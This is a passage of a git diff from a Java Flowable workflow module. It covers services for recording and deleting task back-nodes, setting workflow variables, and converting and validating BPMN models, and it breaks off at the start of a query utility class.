IWfTaskBackNodeService { + + private final WfTaskBackNodeMapper wfTaskBackNodeMapper; + + @Override + @Transactional(rollbackFor = Exception.class) + public void recordExecuteNode(Task task) { + List list = getListByInstanceId(task.getProcessInstanceId()); + WfTaskBackNode wfTaskBackNode = new WfTaskBackNode(); + wfTaskBackNode.setNodeId(task.getTaskDefinitionKey()); + wfTaskBackNode.setNodeName(task.getName()); + wfTaskBackNode.setInstanceId(task.getProcessInstanceId()); + wfTaskBackNode.setAssignee(String.valueOf(LoginHelper.getUserId())); + MultiInstanceVo multiInstance = WorkflowUtils.isMultiInstance(task.getProcessDefinitionId(), task.getTaskDefinitionKey()); + if (ObjectUtil.isNotEmpty(multiInstance)) { + wfTaskBackNode.setTaskType(MULTI_INSTANCE); + } else { + wfTaskBackNode.setTaskType(USER_TASK); + } + if (CollUtil.isEmpty(list)) { + wfTaskBackNode.setOrderNo(0); + wfTaskBackNodeMapper.insert(wfTaskBackNode); + } else { + WfTaskBackNode taskNode = StreamUtils.findFirst(list, e -> e.getNodeId().equals(wfTaskBackNode.getNodeId()) && e.getOrderNo() == 0); + if (ObjectUtil.isEmpty(taskNode)) { + wfTaskBackNode.setOrderNo(list.get(0).getOrderNo() + 1); + WfTaskBackNode node = getListByInstanceIdAndNodeId(wfTaskBackNode.getInstanceId(), wfTaskBackNode.getNodeId()); + if (ObjectUtil.isNotEmpty(node)) { + node.setAssignee(node.getAssignee() + StringUtils.SEPARATOR + LoginHelper.getUserId()); + wfTaskBackNodeMapper.updateById(node); + } else { + wfTaskBackNodeMapper.insert(wfTaskBackNode); + } + } + } + } + + @Override + public List getListByInstanceId(String processInstanceId) { + LambdaQueryWrapper wrapper = new LambdaQueryWrapper<>(); + wrapper.eq(WfTaskBackNode::getInstanceId, processInstanceId); + wrapper.orderByDesc(WfTaskBackNode::getOrderNo); + return wfTaskBackNodeMapper.selectList(wrapper); + } + + @Override + public WfTaskBackNode getListByInstanceIdAndNodeId(String processInstanceId, String nodeId) { + LambdaQueryWrapper queryWrapper = new LambdaQueryWrapper<>(); + queryWrapper.eq(WfTaskBackNode::getInstanceId, processInstanceId); + queryWrapper.eq(WfTaskBackNode::getNodeId, nodeId); + return wfTaskBackNodeMapper.selectOne(queryWrapper); + } + + @Override + @Transactional(rollbackFor = Exception.class) + public boolean deleteBackTaskNode(String processInstanceId, String targetActivityId) { + try { + LambdaQueryWrapper queryWrapper = new LambdaQueryWrapper<>(); + queryWrapper.eq(WfTaskBackNode::getInstanceId, processInstanceId); + queryWrapper.eq(WfTaskBackNode::getNodeId, targetActivityId); + WfTaskBackNode actTaskNode = wfTaskBackNodeMapper.selectOne(queryWrapper); + if (ObjectUtil.isNotNull(actTaskNode)) { + Integer orderNo = actTaskNode.getOrderNo(); + List taskNodeList = getListByInstanceId(processInstanceId); + List ids = new ArrayList<>(); + if (CollUtil.isNotEmpty(taskNodeList)) { + for (WfTaskBackNode taskNode : taskNodeList) { + if (taskNode.getOrderNo() >= orderNo) { + ids.add(taskNode.getId()); + } + } + } + if (CollUtil.isNotEmpty(ids)) { + wfTaskBackNodeMapper.deleteByIds(ids); + } + } + return true; + } catch (Exception e) { + log.error(e.getMessage(), e); + throw new ServiceException("删除失败"); + } + } + + @Override + @Transactional(rollbackFor = Exception.class) + public boolean deleteByInstanceId(String processInstanceId) { + LambdaQueryWrapper wrapper = new LambdaQueryWrapper<>(); + wrapper.eq(WfTaskBackNode::getInstanceId, processInstanceId); + List list = wfTaskBackNodeMapper.selectList(wrapper); + int delete = wfTaskBackNodeMapper.delete(wrapper); + if (list.size() != delete) { + throw new ServiceException("删除失败"); + } + return true; + } + + @Override + public boolean deleteByInstanceIds(List processInstanceIds) { + LambdaQueryWrapper wrapper = new LambdaQueryWrapper<>(); + wrapper.in(WfTaskBackNode::getInstanceId, processInstanceIds); + List list = wfTaskBackNodeMapper.selectList(wrapper); + int delete = wfTaskBackNodeMapper.delete(wrapper); + if (list.size() != delete) { + throw new ServiceException("删除失败"); + } + return true; + } +} diff --git a/ruoyi-modules/ruoyi-workflow/src/main/java/org/dromara/workflow/service/impl/WorkflowServiceImpl.java b/ruoyi-modules/ruoyi-workflow/src/main/java/org/dromara/workflow/service/impl/WorkflowServiceImpl.java index b036584..e601a14 100644 --- a/ruoyi-modules/ruoyi-workflow/src/main/java/org/dromara/workflow/service/impl/WorkflowServiceImpl.java +++ b/ruoyi-modules/ruoyi-workflow/src/main/java/org/dromara/workflow/service/impl/WorkflowServiceImpl.java @@ -1,121 +1,121 @@ -package org.dromara.workflow.service.impl; - -import cn.hutool.core.util.StrUtil; -import lombok.RequiredArgsConstructor; -import org.dromara.common.core.service.WorkflowService; -import org.dromara.workflow.domain.ActHiProcinst; -import org.dromara.workflow.service.IActHiProcinstService; -import org.dromara.workflow.service.IActProcessInstanceService; -import org.dromara.workflow.utils.WorkflowUtils; -import org.flowable.engine.TaskService; -import org.springframework.beans.factory.annotation.Autowired; -import org.springframework.stereotype.Service; - -import java.util.List; -import java.util.Map; - -/** - * 通用 工作流服务实现 - * - * @author may - */ -@RequiredArgsConstructor -@Service -public class WorkflowServiceImpl implements WorkflowService { - - @Autowired(required = false) - private TaskService taskService; - private final IActProcessInstanceService actProcessInstanceService; - private final IActHiProcinstService actHiProcinstService; - /** - * 运行中的实例 删除程实例,删除历史记录,删除业务与流程关联信息 - * - * @param businessKeys 业务id - * @return 结果 - */ - @Override - public boolean deleteRunAndHisInstance(List businessKeys) { - return actProcessInstanceService.deleteRunAndHisInstance(businessKeys); - } - - /** - * 获取当前流程状态 - * - * @param taskId 任务id - */ - @Override - public String getBusinessStatusByTaskId(String taskId) { - return WorkflowUtils.getBusinessStatusByTaskId(taskId); - } - - /** - * 获取当前流程状态 - * - * @param businessKey 业务id - */ - @Override - public String getBusinessStatus(String businessKey) { - return WorkflowUtils.getBusinessStatus(businessKey); - } - - /** - * 设置流程变量(全局变量) - * - * @param taskId 任务id - * @param variableName 变量名称 - * @param value 变量值 - */ - @Override - public void setVariable(String taskId, String variableName, Object value) { - taskService.setVariable(taskId, variableName, value); - } - - /** - * 设置流程变量(全局变量) - * - * @param taskId 任务id - * @param variables 流程变量 - */ - @Override - public void setVariables(String taskId, Map variables) { - taskService.setVariables(taskId, variables); - } - - /** - * 设置流程变量(本地变量,非全局变量) - * - * @param taskId 任务id - * @param variableName 变量名称 - * @param value 变量值 - */ - @Override - public void setVariableLocal(String taskId, String variableName, Object value) { - taskService.setVariableLocal(taskId, variableName, value); - } - - /** - * 设置流程变量(本地变量,非全局变量) - * - * @param taskId 任务id - * @param variables 流程变量 - */ - @Override - public void setVariablesLocal(String taskId, Map variables) { - taskService.setVariablesLocal(taskId, variables); - } - - /** - * 按照业务id查询流程实例id - * - * @param businessKey 业务id - * @return 结果 - */ - @Override - public String getInstanceIdByBusinessKey(String businessKey) { - ActHiProcinst actHiProcinst = actHiProcinstService.selectByBusinessKey(businessKey); - if (actHiProcinst == null) { - return StrUtil.EMPTY; - } - return actHiProcinst.getId(); - } -} +package org.dromara.workflow.service.impl; + +import cn.hutool.core.util.StrUtil; +import lombok.RequiredArgsConstructor; +import org.dromara.common.core.service.WorkflowService; +import org.dromara.workflow.domain.ActHiProcinst; +import org.dromara.workflow.service.IActHiProcinstService; +import org.dromara.workflow.service.IActProcessInstanceService; +import org.dromara.workflow.utils.WorkflowUtils; +import org.flowable.engine.TaskService; +import org.springframework.beans.factory.annotation.Autowired; +import org.springframework.stereotype.Service; + +import java.util.List; +import java.util.Map; + +/** + * 通用 工作流服务实现 + * + * @author may + */ +@RequiredArgsConstructor +@Service +public class WorkflowServiceImpl implements WorkflowService { + + @Autowired(required = false) + private TaskService taskService; + private final IActProcessInstanceService actProcessInstanceService; + private final IActHiProcinstService actHiProcinstService; + /** + * 运行中的实例 删除程实例,删除历史记录,删除业务与流程关联信息 + * + * @param businessKeys 业务id + * @return 结果 + */ + @Override + public boolean deleteRunAndHisInstance(List businessKeys) { + return actProcessInstanceService.deleteRunAndHisInstance(businessKeys); + } + + /** + * 获取当前流程状态 + * + * @param taskId 任务id + */ + @Override + public String getBusinessStatusByTaskId(String taskId) { + return WorkflowUtils.getBusinessStatusByTaskId(taskId); + } + + /** + * 获取当前流程状态 + * + * @param businessKey 业务id + */ + @Override + public String getBusinessStatus(String businessKey) { + return WorkflowUtils.getBusinessStatus(businessKey); + } + + /** + * 设置流程变量(全局变量) + * + * @param taskId 任务id + * @param variableName 变量名称 + * @param value 变量值 + */ + @Override + public void setVariable(String taskId, String variableName, Object value) { + taskService.setVariable(taskId, variableName, value); + } + + /** + * 设置流程变量(全局变量) + * + * @param taskId 任务id + * @param variables 流程变量 + */ + @Override + public void setVariables(String taskId, Map variables) { + taskService.setVariables(taskId, variables); + } + + /** + * 设置流程变量(本地变量,非全局变量) + * + * @param taskId 任务id + * @param variableName 变量名称 + * @param value 变量值 + */ + @Override + public void setVariableLocal(String taskId, String variableName, Object value) { + taskService.setVariableLocal(taskId, variableName, value); + } + + /** + * 设置流程变量(本地变量,非全局变量) + * + * @param taskId 任务id + * @param variables 流程变量 + */ + @Override + public void setVariablesLocal(String taskId, Map variables) { + taskService.setVariablesLocal(taskId, variables); + } + + /** + * 按照业务id查询流程实例id + * + * @param businessKey 业务id + * @return 结果 + */ + @Override + public String getInstanceIdByBusinessKey(String businessKey) { + ActHiProcinst actHiProcinst = actHiProcinstService.selectByBusinessKey(businessKey); + if (actHiProcinst == null) { + return StrUtil.EMPTY; + } + return actHiProcinst.getId(); + } +} diff --git a/ruoyi-modules/ruoyi-workflow/src/main/java/org/dromara/workflow/utils/ModelUtils.java b/ruoyi-modules/ruoyi-workflow/src/main/java/org/dromara/workflow/utils/ModelUtils.java index 83fcbe8..7c6981b 100644 --- a/ruoyi-modules/ruoyi-workflow/src/main/java/org/dromara/workflow/utils/ModelUtils.java +++ b/ruoyi-modules/ruoyi-workflow/src/main/java/org/dromara/workflow/utils/ModelUtils.java @@ -1,289 +1,289 @@ -package org.dromara.workflow.utils; - -import cn.hutool.core.collection.CollUtil; -import cn.hutool.core.collection.CollectionUtil; -import cn.hutool.core.io.IoUtil; -import cn.hutool.core.util.ObjectUtil; -import cn.hutool.core.util.StrUtil; -import com.fasterxml.jackson.databind.JsonNode; -import com.fasterxml.jackson.databind.ObjectMapper; -import lombok.AccessLevel; -import lombok.NoArgsConstructor; -import org.dromara.common.core.utils.SpringUtils; -import org.dromara.common.core.utils.StreamUtils; -import org.dromara.common.core.utils.StringUtils; -import org.dromara.common.json.utils.JsonUtils; -import org.dromara.workflow.domain.vo.MultiInstanceVo; -import org.flowable.bpmn.converter.BpmnXMLConverter; -import org.flowable.bpmn.model.Process; -import org.flowable.bpmn.model.*; -import org.flowable.editor.language.json.converter.BpmnJsonConverter; -import org.flowable.engine.ProcessEngine; - -import javax.xml.stream.XMLInputFactory; -import javax.xml.stream.XMLStreamException; -import javax.xml.stream.XMLStreamReader; -import java.io.ByteArrayInputStream; -import java.io.IOException; -import java.io.InputStream; -import java.rmi.ServerException; -import java.util.*; -import java.util.stream.Collectors; - -/** - * 模型工具 - * - * @author may - */ -@NoArgsConstructor(access = AccessLevel.PRIVATE) -public class ModelUtils { - - private static final ProcessEngine PROCESS_ENGINE = SpringUtils.getBean(ProcessEngine.class); - - public static BpmnModel xmlToBpmnModel(String xml) throws IOException { - if (xml == null) { - throw new ServerException("xml不能为空"); - } - try { - InputStream inputStream = new ByteArrayInputStream(StrUtil.utf8Bytes(xml)); - XMLInputFactory factory = XMLInputFactory.newInstance(); - XMLStreamReader reader = factory.createXMLStreamReader(inputStream); - return new BpmnXMLConverter().convertToBpmnModel(reader); - } catch (XMLStreamException e) { - throw new ServerException(e.getMessage()); - } - } - - /** - * bpmnModel转为xml - * - * @param jsonBytes json - */ - public static byte[] bpmnJsonToXmlBytes(byte[] jsonBytes) throws IOException { - if (jsonBytes == null) { - return new byte[0]; - } - // 1. json字节码转成 BpmnModel 对象 - ObjectMapper objectMapper = JsonUtils.getObjectMapper(); - JsonNode jsonNode = objectMapper.readTree(jsonBytes); - BpmnModel bpmnModel = new BpmnJsonConverter().convertToBpmnModel(jsonNode); - - if (bpmnModel.getProcesses().isEmpty()) { - return new byte[0]; - } - // 2.将bpmnModel转为xml - return new BpmnXMLConverter().convertToXML(bpmnModel); - } - - /** - * xml转为bpmnModel - * - * @param xmlBytes xml - */ - public static BpmnModel xmlToBpmnModel(byte[] xmlBytes) throws XMLStreamException { - ByteArrayInputStream byteArrayInputStream = IoUtil.toStream(xmlBytes); - XMLInputFactory xif = XMLInputFactory.newInstance(); - XMLStreamReader xtr = xif.createXMLStreamReader(byteArrayInputStream); - return new BpmnXMLConverter().convertToBpmnModel(xtr); - } - - /** - * 校验模型 - * - * @param bpmnModel bpmn模型 - */ - public static void checkBpmnModel(BpmnModel bpmnModel) throws ServerException { - Collection flowElements = bpmnModel.getMainProcess().getFlowElements(); - - checkBpmnNode(flowElements, false); - - List subProcessList = flowElements.stream().filter(SubProcess.class::isInstance).map(SubProcess.class::cast).collect(Collectors.toList()); - if (!CollUtil.isEmpty(subProcessList)) { - for (SubProcess subProcess : subProcessList) { - Collection subProcessFlowElements = subProcess.getFlowElements(); - checkBpmnNode(subProcessFlowElements, true); - } - } - List multiInstanceVoList = new ArrayList<>(); - for (FlowElement flowElement : flowElements) { - if (flowElement instanceof UserTask && ObjectUtil.isNotEmpty(((UserTask) flowElement).getLoopCharacteristics()) && StringUtils.isNotBlank(((UserTask) flowElement).getLoopCharacteristics().getInputDataItem())) { - MultiInstanceVo multiInstanceVo = new MultiInstanceVo(); - multiInstanceVo.setAssigneeList(((UserTask) flowElement).getLoopCharacteristics().getInputDataItem()); - multiInstanceVoList.add(multiInstanceVo); - } - } - - if (CollectionUtil.isNotEmpty(multiInstanceVoList) && multiInstanceVoList.size() > 1) { - Map> assigneeListGroup = StreamUtils.groupByKey(multiInstanceVoList, MultiInstanceVo::getAssigneeList); - for (Map.Entry> entry : assigneeListGroup.entrySet()) { - List value = entry.getValue(); - if (CollectionUtil.isNotEmpty(value) && value.size() > 1) { - String key = entry.getKey(); - throw new ServerException("会签人员集合【" + key + "】重复,请重新设置集合KEY"); - } - } - } - } - - /** - * 校验bpmn节点是否合法 - * - * @param flowElements 节点集合 - * @param subtask 是否子流程 - */ - private static void checkBpmnNode(Collection flowElements, boolean subtask) throws ServerException { - - if (CollUtil.isEmpty(flowElements)) { - throw new ServerException(subtask ? "子流程必须存在节点" : "必须存在节点!"); - } - - List startEventList = flowElements.stream().filter(StartEvent.class::isInstance).map(StartEvent.class::cast).collect(Collectors.toList()); - if (CollUtil.isEmpty(startEventList)) { - throw new ServerException(subtask ? "子流程必须存在开始节点" : "必须存在开始节点!"); - } - - if (startEventList.size() > 1) { - throw new ServerException(subtask ? "子流程只能存在一个开始节点" : "只能存在一个开始节点!"); - } - - StartEvent startEvent = startEventList.get(0); - List outgoingFlows = startEvent.getOutgoingFlows(); - if (CollUtil.isEmpty(outgoingFlows)) { - throw new ServerException(subtask ? "子流程流程节点为空,请至少设计一条主线流程!" : "流程节点为空,请至少设计一条主线流程!"); - } - - FlowElement targetFlowElement = outgoingFlows.get(0).getTargetFlowElement(); - if (!(targetFlowElement instanceof UserTask) && !subtask) { - throw new ServerException("开始节点后第一个节点必须是用户任务!"); - } - //开始节点后第一个节点申请人节点 - if ((targetFlowElement instanceof UserTask) && !subtask) { - UserTask userTask = (UserTask) targetFlowElement; - if (StringUtils.isBlank(userTask.getFormKey())) { - throw new ServerException("申请人节点必须选择表单!"); - } - } - List endEventList = flowElements.stream().filter(EndEvent.class::isInstance).map(EndEvent.class::cast).collect(Collectors.toList()); - if (CollUtil.isEmpty(endEventList)) { - throw new ServerException(subtask ? "子流程必须存在结束节点!" : "必须存在结束节点!"); - } - } - - /** - * 获取流程全部用户节点 - * - * @param processDefinitionId 流程定义id - */ - public static List getUserTaskFlowElements(String processDefinitionId) { - BpmnModel bpmnModel = PROCESS_ENGINE.getRepositoryService().getBpmnModel(processDefinitionId); - List list = new ArrayList<>(); - List processes = bpmnModel.getProcesses(); - Collection flowElements = processes.get(0).getFlowElements(); - buildUserTaskFlowElements(flowElements, list); - return list; - } - - /** - * 递归获取所有节点 - * - * @param flowElements 节点信息 - * @param list 集合 - */ - private static void buildUserTaskFlowElements(Collection flowElements, List list) { - for (FlowElement flowElement : flowElements) { - if (flowElement instanceof SubProcess) { - Collection subFlowElements = ((SubProcess) flowElement).getFlowElements(); - buildUserTaskFlowElements(subFlowElements, list); - } else if (flowElement instanceof UserTask) { - list.add((UserTask) flowElement); - } - } - } - - /** - * 获取流程全部节点 - * - * @param processDefinitionId 流程定义id - */ - public static List getFlowElements(String processDefinitionId) { - BpmnModel bpmnModel = PROCESS_ENGINE.getRepositoryService().getBpmnModel(processDefinitionId); - List list = new ArrayList<>(); - List processes = bpmnModel.getProcesses(); - Collection flowElements = processes.get(0).getFlowElements(); - buildFlowElements(flowElements, list); - return list; - } - - /** - * 递归获取所有节点 - * - * @param flowElements 节点信息 - * @param list 集合 - */ - private static void buildFlowElements(Collection flowElements, List list) { - for (FlowElement flowElement : flowElements) { - list.add(flowElement); - if (flowElement instanceof SubProcess) { - Collection subFlowElements = ((SubProcess) flowElement).getFlowElements(); - buildFlowElements(subFlowElements, list); - } - } - } - - /** - * 获取全部扩展信息 - * - * @param processDefinitionId 流程定义id - */ - public static Map> getExtensionElements(String processDefinitionId) { - Map> map = new HashMap<>(); - List flowElements = getFlowElements(processDefinitionId); - for (FlowElement flowElement : flowElements) { - if (flowElement instanceof UserTask && CollUtil.isNotEmpty(flowElement.getExtensionElements())) { - map.putAll(flowElement.getExtensionElements()); - } - } - return map; - } - - /** - * 获取某个节点的扩展信息 - * - * @param processDefinitionId 流程定义id - * @param flowElementId 节点id - */ - public static Map> getExtensionElement(String processDefinitionId, String flowElementId) { - BpmnModel bpmnModel = PROCESS_ENGINE.getRepositoryService().getBpmnModel(processDefinitionId); - Process process = bpmnModel.getMainProcess(); - FlowElement flowElement = process.getFlowElement(flowElementId); - return flowElement.getExtensionElements(); - } - - /** - * 判断当前节点是否为用户任务 - * - * @param processDefinitionId 流程定义id - * @param taskDefinitionKey 流程定义id - */ - public static boolean isUserTask(String processDefinitionId, String taskDefinitionKey) { - BpmnModel bpmnModel = PROCESS_ENGINE.getRepositoryService().getBpmnModel(processDefinitionId); - FlowNode flowNode = (FlowNode) bpmnModel.getFlowElement(taskDefinitionKey); - return flowNode instanceof UserTask; - } - - /** - * 获取申请人节点 - * - * @param processDefinitionId 流程定义id - * @return 结果 - */ - public static UserTask getApplyUserTask(String processDefinitionId) { - BpmnModel bpmnModel = PROCESS_ENGINE.getRepositoryService().getBpmnModel(processDefinitionId); - Collection flowElements = bpmnModel.getMainProcess().getFlowElements(); - List startEventList = flowElements.stream().filter(StartEvent.class::isInstance).map(StartEvent.class::cast).collect(Collectors.toList()); - StartEvent startEvent = startEventList.get(0); - List outgoingFlows = startEvent.getOutgoingFlows(); - FlowElement targetFlowElement = outgoingFlows.get(0).getTargetFlowElement(); - return (UserTask) targetFlowElement; - } -} +package org.dromara.workflow.utils; + +import cn.hutool.core.collection.CollUtil; +import cn.hutool.core.collection.CollectionUtil; +import cn.hutool.core.io.IoUtil; +import cn.hutool.core.util.ObjectUtil; +import cn.hutool.core.util.StrUtil; +import com.fasterxml.jackson.databind.JsonNode; +import com.fasterxml.jackson.databind.ObjectMapper; +import lombok.AccessLevel; +import lombok.NoArgsConstructor; +import org.dromara.common.core.utils.SpringUtils; +import org.dromara.common.core.utils.StreamUtils; +import org.dromara.common.core.utils.StringUtils; +import org.dromara.common.json.utils.JsonUtils; +import org.dromara.workflow.domain.vo.MultiInstanceVo; +import org.flowable.bpmn.converter.BpmnXMLConverter; +import org.flowable.bpmn.model.Process; +import org.flowable.bpmn.model.*; +import org.flowable.editor.language.json.converter.BpmnJsonConverter; +import org.flowable.engine.ProcessEngine; + +import javax.xml.stream.XMLInputFactory; +import javax.xml.stream.XMLStreamException; +import javax.xml.stream.XMLStreamReader; +import java.io.ByteArrayInputStream; +import java.io.IOException; +import java.io.InputStream; +import java.rmi.ServerException; +import java.util.*; +import java.util.stream.Collectors; + +/** + * 模型工具 + * + * @author may + */ +@NoArgsConstructor(access = AccessLevel.PRIVATE) +public class ModelUtils { + + private static final ProcessEngine PROCESS_ENGINE = SpringUtils.getBean(ProcessEngine.class); + + public static BpmnModel xmlToBpmnModel(String xml) throws IOException { + if (xml == null) { + throw new ServerException("xml不能为空"); + } + try { + InputStream inputStream = new ByteArrayInputStream(StrUtil.utf8Bytes(xml)); + XMLInputFactory factory = XMLInputFactory.newInstance(); + XMLStreamReader reader = factory.createXMLStreamReader(inputStream); + return new BpmnXMLConverter().convertToBpmnModel(reader); + } catch (XMLStreamException e) { + throw new ServerException(e.getMessage()); + } + } + + /** + * bpmnModel转为xml + * + * @param jsonBytes json + */ + public static byte[] bpmnJsonToXmlBytes(byte[] jsonBytes) throws IOException { + if (jsonBytes == null) { + return new byte[0]; + } + // 1. json字节码转成 BpmnModel 对象 + ObjectMapper objectMapper = JsonUtils.getObjectMapper(); + JsonNode jsonNode = objectMapper.readTree(jsonBytes); + BpmnModel bpmnModel = new BpmnJsonConverter().convertToBpmnModel(jsonNode); + + if (bpmnModel.getProcesses().isEmpty()) { + return new byte[0]; + } + // 2.将bpmnModel转为xml + return new BpmnXMLConverter().convertToXML(bpmnModel); + } + + /** + * xml转为bpmnModel + * + * @param xmlBytes xml + */ + public static BpmnModel xmlToBpmnModel(byte[] xmlBytes) throws XMLStreamException { + ByteArrayInputStream byteArrayInputStream = IoUtil.toStream(xmlBytes); + XMLInputFactory xif = XMLInputFactory.newInstance(); + XMLStreamReader xtr = xif.createXMLStreamReader(byteArrayInputStream); + return new BpmnXMLConverter().convertToBpmnModel(xtr); + } + + /** + * 校验模型 + * + * @param bpmnModel bpmn模型 + */ + public static void checkBpmnModel(BpmnModel bpmnModel) throws ServerException { + Collection flowElements = bpmnModel.getMainProcess().getFlowElements(); + + checkBpmnNode(flowElements, false); + + List subProcessList = flowElements.stream().filter(SubProcess.class::isInstance).map(SubProcess.class::cast).collect(Collectors.toList()); + if (!CollUtil.isEmpty(subProcessList)) { + for (SubProcess subProcess : subProcessList) { + Collection subProcessFlowElements = subProcess.getFlowElements(); + checkBpmnNode(subProcessFlowElements, true); + } + } + List multiInstanceVoList = new ArrayList<>(); + for (FlowElement flowElement : flowElements) { + if (flowElement instanceof UserTask && ObjectUtil.isNotEmpty(((UserTask) flowElement).getLoopCharacteristics()) && StringUtils.isNotBlank(((UserTask) flowElement).getLoopCharacteristics().getInputDataItem())) { + MultiInstanceVo multiInstanceVo = new MultiInstanceVo(); + multiInstanceVo.setAssigneeList(((UserTask) flowElement).getLoopCharacteristics().getInputDataItem()); + multiInstanceVoList.add(multiInstanceVo); + } + } + + if (CollectionUtil.isNotEmpty(multiInstanceVoList) && multiInstanceVoList.size() > 1) { + Map> assigneeListGroup = StreamUtils.groupByKey(multiInstanceVoList, MultiInstanceVo::getAssigneeList); + for (Map.Entry> entry : assigneeListGroup.entrySet()) { + List value = entry.getValue(); + if (CollectionUtil.isNotEmpty(value) && value.size() > 1) { + String key = entry.getKey(); + throw new ServerException("会签人员集合【" + key + "】重复,请重新设置集合KEY"); + } + } + } + } + + /** + * 校验bpmn节点是否合法 + * + * @param flowElements 节点集合 + * @param subtask 是否子流程 + */ + private static void checkBpmnNode(Collection flowElements, boolean subtask) throws ServerException { + + if (CollUtil.isEmpty(flowElements)) { + throw new ServerException(subtask ? "子流程必须存在节点" : "必须存在节点!"); + } + + List startEventList = flowElements.stream().filter(StartEvent.class::isInstance).map(StartEvent.class::cast).collect(Collectors.toList()); + if (CollUtil.isEmpty(startEventList)) { + throw new ServerException(subtask ? "子流程必须存在开始节点" : "必须存在开始节点!"); + } + + if (startEventList.size() > 1) { + throw new ServerException(subtask ? "子流程只能存在一个开始节点" : "只能存在一个开始节点!"); + } + + StartEvent startEvent = startEventList.get(0); + List outgoingFlows = startEvent.getOutgoingFlows(); + if (CollUtil.isEmpty(outgoingFlows)) { + throw new ServerException(subtask ? "子流程流程节点为空,请至少设计一条主线流程!" : "流程节点为空,请至少设计一条主线流程!"); + } + + FlowElement targetFlowElement = outgoingFlows.get(0).getTargetFlowElement(); + if (!(targetFlowElement instanceof UserTask) && !subtask) { + throw new ServerException("开始节点后第一个节点必须是用户任务!"); + } + //开始节点后第一个节点申请人节点 + if ((targetFlowElement instanceof UserTask) && !subtask) { + UserTask userTask = (UserTask) targetFlowElement; + if (StringUtils.isBlank(userTask.getFormKey())) { + throw new ServerException("申请人节点必须选择表单!"); + } + } + List endEventList = flowElements.stream().filter(EndEvent.class::isInstance).map(EndEvent.class::cast).collect(Collectors.toList()); + if (CollUtil.isEmpty(endEventList)) { + throw new ServerException(subtask ? "子流程必须存在结束节点!" : "必须存在结束节点!"); + } + } + + /** + * 获取流程全部用户节点 + * + * @param processDefinitionId 流程定义id + */ + public static List getUserTaskFlowElements(String processDefinitionId) { + BpmnModel bpmnModel = PROCESS_ENGINE.getRepositoryService().getBpmnModel(processDefinitionId); + List list = new ArrayList<>(); + List processes = bpmnModel.getProcesses(); + Collection flowElements = processes.get(0).getFlowElements(); + buildUserTaskFlowElements(flowElements, list); + return list; + } + + /** + * 递归获取所有节点 + * + * @param flowElements 节点信息 + * @param list 集合 + */ + private static void buildUserTaskFlowElements(Collection flowElements, List list) { + for (FlowElement flowElement : flowElements) { + if (flowElement instanceof SubProcess) { + Collection subFlowElements = ((SubProcess) flowElement).getFlowElements(); + buildUserTaskFlowElements(subFlowElements, list); + } else if (flowElement instanceof UserTask) { + list.add((UserTask) flowElement); + } + } + } + + /** + * 获取流程全部节点 + * + * @param processDefinitionId 流程定义id + */ + public static List getFlowElements(String processDefinitionId) { + BpmnModel bpmnModel = PROCESS_ENGINE.getRepositoryService().getBpmnModel(processDefinitionId); + List list = new ArrayList<>(); + List processes = bpmnModel.getProcesses(); + Collection flowElements = processes.get(0).getFlowElements(); + buildFlowElements(flowElements, list); + return list; + } + + /** + * 递归获取所有节点 + * + * @param flowElements 节点信息 + * @param list 集合 + */ + private static void buildFlowElements(Collection flowElements, List list) { + for (FlowElement flowElement : flowElements) { + list.add(flowElement); + if (flowElement instanceof SubProcess) { + Collection subFlowElements = ((SubProcess) flowElement).getFlowElements(); + buildFlowElements(subFlowElements, list); + } + } + } + + /** + * 获取全部扩展信息 + * + * @param processDefinitionId 流程定义id + */ + public static Map> getExtensionElements(String processDefinitionId) { + Map> map = new HashMap<>(); + List flowElements = getFlowElements(processDefinitionId); + for (FlowElement flowElement : flowElements) { + if (flowElement instanceof UserTask && CollUtil.isNotEmpty(flowElement.getExtensionElements())) { + map.putAll(flowElement.getExtensionElements()); + } + } + return map; + } + + /** + * 获取某个节点的扩展信息 + * + * @param processDefinitionId 流程定义id + * @param flowElementId 节点id + */ + public static Map> getExtensionElement(String processDefinitionId, String flowElementId) { + BpmnModel bpmnModel = PROCESS_ENGINE.getRepositoryService().getBpmnModel(processDefinitionId); + Process process = bpmnModel.getMainProcess(); + FlowElement flowElement = process.getFlowElement(flowElementId); + return flowElement.getExtensionElements(); + } + + /** + * 判断当前节点是否为用户任务 + * + * @param processDefinitionId 流程定义id + * @param taskDefinitionKey 流程定义id + */ + public static boolean isUserTask(String processDefinitionId, String taskDefinitionKey) { + BpmnModel bpmnModel = PROCESS_ENGINE.getRepositoryService().getBpmnModel(processDefinitionId); + FlowNode flowNode = (FlowNode) bpmnModel.getFlowElement(taskDefinitionKey); + return flowNode instanceof UserTask; + } + + /** + * 获取申请人节点 + * + * @param processDefinitionId 流程定义id + * @return 结果 + */ + public static UserTask getApplyUserTask(String processDefinitionId) { + BpmnModel bpmnModel = PROCESS_ENGINE.getRepositoryService().getBpmnModel(processDefinitionId); + Collection flowElements = bpmnModel.getMainProcess().getFlowElements(); + List startEventList = flowElements.stream().filter(StartEvent.class::isInstance).map(StartEvent.class::cast).collect(Collectors.toList()); + StartEvent startEvent = startEventList.get(0); + List outgoingFlows = startEvent.getOutgoingFlows(); + FlowElement targetFlowElement = outgoingFlows.get(0).getTargetFlowElement(); + return (UserTask) targetFlowElement; + } +} diff --git a/ruoyi-modules/ruoyi-workflow/src/main/java/org/dromara/workflow/utils/QueryUtils.java b/ruoyi-modules/ruoyi-workflow/src/main/java/org/dromara/workflow/utils/QueryUtils.java index df928dc..901d2f1 100644 --- a/ruoyi-modules/ruoyi-workflow/src/main/java/org/dromara/workflow/utils/QueryUtils.java +++ b/ruoyi-modules/ruoyi-workflow/src/main/java/org/dromara/workflow/utils/QueryUtils.java @@ -1,169 +1,169 @@ -package org.dromara.workflow.utils; - -import cn.hutool.core.bean.BeanUtil; -import lombok.AccessLevel; -import lombok.NoArgsConstructor; -import org.dromara.common.core.utils.SpringUtils; -import org.dromara.common.tenant.helper.TenantHelper; -import org.dromara.workflow.domain.vo.TaskVo; -import org.flowable.engine.ProcessEngine; -import org.flowable.engine.history.HistoricActivityInstanceQuery; -import org.flowable.engine.history.HistoricProcessInstanceQuery; -import org.flowable.engine.repository.DeploymentQuery; -import org.flowable.engine.repository.ModelQuery; -import org.flowable.engine.repository.ProcessDefinitionQuery; -import org.flowable.engine.runtime.ProcessInstance; -import org.flowable.engine.runtime.ProcessInstanceQuery; -import org.flowable.task.api.Task; -import org.flowable.task.api.TaskQuery; -import org.flowable.task.api.history.HistoricTaskInstanceQuery; - -import java.util.Collection; -import java.util.List; -import java.util.Set; - -/** - * 查询工具 - * - * @author Lion Li - */ -@NoArgsConstructor(access = AccessLevel.PRIVATE) -public class QueryUtils { - - private static final 